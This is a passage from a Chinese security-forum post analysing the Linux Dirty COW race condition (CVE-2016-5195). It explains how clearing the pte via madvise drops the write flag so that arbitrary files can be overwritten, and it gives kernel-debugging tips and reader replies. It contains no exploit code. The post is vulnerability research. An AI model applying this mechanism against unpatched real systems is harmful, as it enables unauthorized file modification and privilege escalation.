第二次faultin_page执行之后到第三次follow_page_mask之前是一个重要时间段,期间cond_reach()主动让出CPU,给madvise清空pte提供了时间窗口,清空后再去执行follow_page_mask(第三次执行)->follow_page_pte,当再次判断if (!pte_present(pte)) ,因为pte是空,所以goto到no_page,返回空到page,导致即将第三次执行faultin_page

 

然而与前几次不同,这次FOLLOW_WRITE标志位被清空了,所以faultin_page里的fault_flags是不会有FAULT_FLAG_WRITE了,那么执行真正的缺页处理时,page这个页描述符也返回了黑客构造好的物理页面,从而改写了任意文件的内容

调试遇到的麻烦和解决方法

1.CPU数量设置太多,导致断点被不同的线程频繁命中,可以降低CPU数量为1-2个

 

2.优化问题导致程序经常跑飞,用attribute((optimize("O0")))来解除优化

 

3.不知道为什么有的函数执行完后会莫名其妙的命中之前的断点(调用栈突然就全变了),建议把不用的断点暂时禁用掉

 

4.调着调着突然进到一个奇怪的函数里,有可能是遇到方法内联了

 

5.打开虚拟化对调试似乎没什么影响,打开了还快,那就打开吧

 

6.我之前曾经想过用virtualgdb来调试linux下的poc,但是当我在内存窗口查看map变量时,相当于访问了一次这个虚拟地址,系统就会给挂上物理页,但提挂载物理页就干扰了漏洞触发,所以不建议用virtualgdb来调试内核漏洞有关的poc。况且他的调用栈也不能显示内核函数调用,我感觉就只能用来开发调试三环程序,调试内核的不行

 

7.源代码的行数和gdb里读取到的符号经常不一样,比如想在mm/memory.c:3597下断点, b mm/memory.c:3597 但 gdb
里的3597行根本不时源码里的3597行,而是其他位置,这个和无法用-O0级别来编译内核有关,这个只能说目前无解,因为linux社区不鼓励页没法用-O0的编译优化等级,只能用-O2或者-Os,本人测试-O1也可以,但-O0就不行,哎

 

8.就是调试follow_page_mask发现,源代码里很多的代码居然消失了?冗余的代码被优化是情有可原,但这么大一坨代码貌似有用的啊,怎么没了?

1
2
3
4
5
6
7
8
9
10
if ((flags & FOLL_NUMA) && pmd_protnone(*pmd))
    return no_page_table(vma, flags);
if (pmd_devmap(*pmd)) {
    ptl = pmd_lock(mm, pmd);
    page = follow_devmap_pmd(vma, address, pmd, flags);
    spin_unlock(ptl);
    if (page)
        return page;
}
if (likely(!pmd_trans_huge(*pmd)))

执行的时候却发现直接从最上面跳到最下面执行了,我一度对此感到十分困惑,最后也只能归结于激进的编译优化了

 

9.一般都用qemu+busybox体调试内核,但linux4.7内核不知道咋了,busybox死活带不起来,我的5.2个和4.2版本内核都带起来了,编译成静态库看,取消什么超级服务器什么的都配了但就是带不起来.我看你他的错误号说是ext3 ext4跟这个格式有关,于是手动改了下内核编译选项,更奇葩的是,改完后第一次运行成功了,但是以后再也没成功过!最后多亏了OxLucifer大神提供的方法,用syzkaller提供的根文件系统总算成功了.感谢大神

致谢和参考

感谢前辈们的无私分享,尤其OxLucifer,GraVity0两位巨佬,感谢

 

OxLucifer:[原创]Linux内核漏洞调试环境搭建的经验分享

 

GraVity0: linux内核漏洞的分析与利用

 

COW机制讲解

 

ARM32页表-虚拟地址到物理地址的转换

 

请求调页和写时复制


[注意] 欢迎加入看雪团队!base上海,招聘CTF安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

最后于 2021-2-22 11:44 被r0Cat编辑 ,原因:
上传的附件:
收藏
点赞9
打赏
分享
最新回复 (6)
雪    币: 4391
活跃值: 活跃值 (751)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
option 活跃值 2021-2-15 17:13
2
0
看不懂,但是感觉很高级
雪    币: 7198
活跃值: 活跃值 (5779)
能力值: (RANK:530 )
在线值:
发帖
回帖
粉丝
r0Cat 活跃值 6 2021-2-15 17:29
3
0
option 看不懂,但是感觉很高级
自己调试的时候可以用来做个参考  看不懂的话...可能还需要补一点点操作系统的基础  
雪    币: 1166
活跃值: 活跃值 (1323)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
T1e9u 活跃值 1 2021-2-15 21:49
4
0
感谢分享,最近刚好想复现这个漏洞。salute!
雪    币: 98
活跃值: 活跃值 (165)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
褐眼男子 活跃值 1 2021-2-21 19:53
5
0
是CVE-2016-5195
雪    币: 7198
活跃值: 活跃值 (5779)
能力值: (RANK:530 )
在线值:
发帖
回帖
粉丝
r0Cat 活跃值 6 2021-2-22 11:42
6
0
褐眼男子 是CVE-2016-5195
多谢提醒
雪    币: 293
活跃值: 活跃值 (100)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
一只猪儿虫 活跃值 2021-4-3 00:15
7
0

好帖,点赞

最后于 2021-4-3 20:09 被一只猪儿虫编辑 ,原因:
游客
登录 | 注册 方可回帖
返回